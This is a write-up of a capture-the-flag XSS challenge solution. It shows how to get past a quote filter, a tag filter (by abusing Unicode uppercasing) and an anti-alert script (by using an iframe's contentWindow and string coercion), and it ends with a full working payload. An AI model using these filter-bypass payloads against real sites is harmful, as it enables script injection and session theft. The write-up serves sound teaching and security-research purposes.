Here is my solution to the XSS challenge by Brutelogic and Findbug

The challenge was pretty simple, you just need to pop an alert on the vulnerable webpage using an xss.

The code was the following:

var myInput = 'Buddy';                                                                                                                                                                                                                 
myMsg = "Hello, " + myInput.toUpperCase() + "!";                                                                                                                                                                                       
document.getElementById("msg").innerHTML = myMsg;

Our input was at the 'Buddy' string.

My first thougth was to inject a single quote and alert right away like:


But there is some filters on our input:

  • ' is replaced by '
  • \ is replaced by /
  • /<[a-zA-Z]/  is replaced by <!InvalidTag

So our simple trick doesn't work. We need to use that our code is directly injected in the DOM at line 8. Since our input is set to uppercase we will be able to bypass the third filter if we find a non ascii character that when put in uppercase become ascii.

I remembered about an old blackhat conferences from 2009 about unicode.

In this slides the autor show an exemple of an UTF8 character with an ascii uppercase.

After some research I found 4 characters with such property :

  • İ (%c4%b0).toLowerCase() => i
  • ı (%c4%b1).toUpperCase() => I
  • ſ (%c5%bf) .toUpperCase() => S
  • K (%E2%84%AA).toLowerCase() => k

Using <ſvg onload=... > our payload become <SVG ONLOAD=...> and we can execute some js in the page context.

There is still two problems remainings :

  • There is an anti XSS code, preventing use to access alert and some other functions
  • The JS code is now in uppercase

The anti XSS code is pretty straightforward, it remove alert, confirm, prompt, unescape, write, writeln from the window object, making impossible to call those functions.

To bypass this, the solution is to create an iframe and access it's contentWindow.

var i = document.createElement("iframe");                                                                                                                                                                                                      
i.onload = function(){                                                                                                                                                                                                                         

Ok, now we just need a solution without any lowercase letters.

First, we need an iframe  <ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>

This create an iframe accessible with the global variable X

In JavaScript if you want to call X.contentWindow.alert() you can instead use X["contentWindow"]["alert"]()

But how to get this two lowercase strings. Javascript is not a very typesafe language we can abuse the addition to cast any variable to a string. And then access this string to get the character we want.

  • !0+'' == "true"
  • X.X == "undefined"
  • CSS+'' == "function CSS() { [native code] }"

We are still missing the letter 'w'. To get this last letter I used one last trick, the shadow tag. It's an obsolete tag but it's supported by Firefox Chrome and Opera. We just need to have one accessible in our DOM.

<ſhadow id=Y>.toUpperCase() become <SHADOW ID=Y>

  • Y+'' == "[object HTMLShadowElement]"

We know have everything we need ! It's time to build our payload

Y = Y+!0+Y.Y; // "[object HTMLShadowElement]trueundefined"                                                                                                                                                                                     
CW = Y[5]+Y[1]+Y[23]+Y[6]+Y[4]+Y[23]+Y[6]+'W'+Y[35]+Y[23]+Y[15]+Y[1]+Y[17] // "contentWindow"                                                                                                                                                  
ALERT = Y[14]+Y[19]+Y[4]+Y[27]+Y[6] // "alert"                                                                                                                                                                                                 
X; // iframe element                                                                                                                                                                                                                           
X[CW][ALERT](1) // alert(1)

And with some little bit of optimisations


Here is the final payload: XSS ME

<ſhadow id=Y><ıframe id=X onload=Y=Y+!0+Y.Y;N=Y[23];T=Y[6];X[Y[5]+Y[1]+N+T+Y[4]+N+T+'W'+Y[35]+N+Y[15]+Y[1]+Y[17]][Y[14]+Y[19]+Y[4]+Y[27]+T]()>

In conlusion it was a very fun challenge with some cool tricks, a big thank you to the organisers.

Also I want to thank @AboodNour who push me into finding always shorter payload !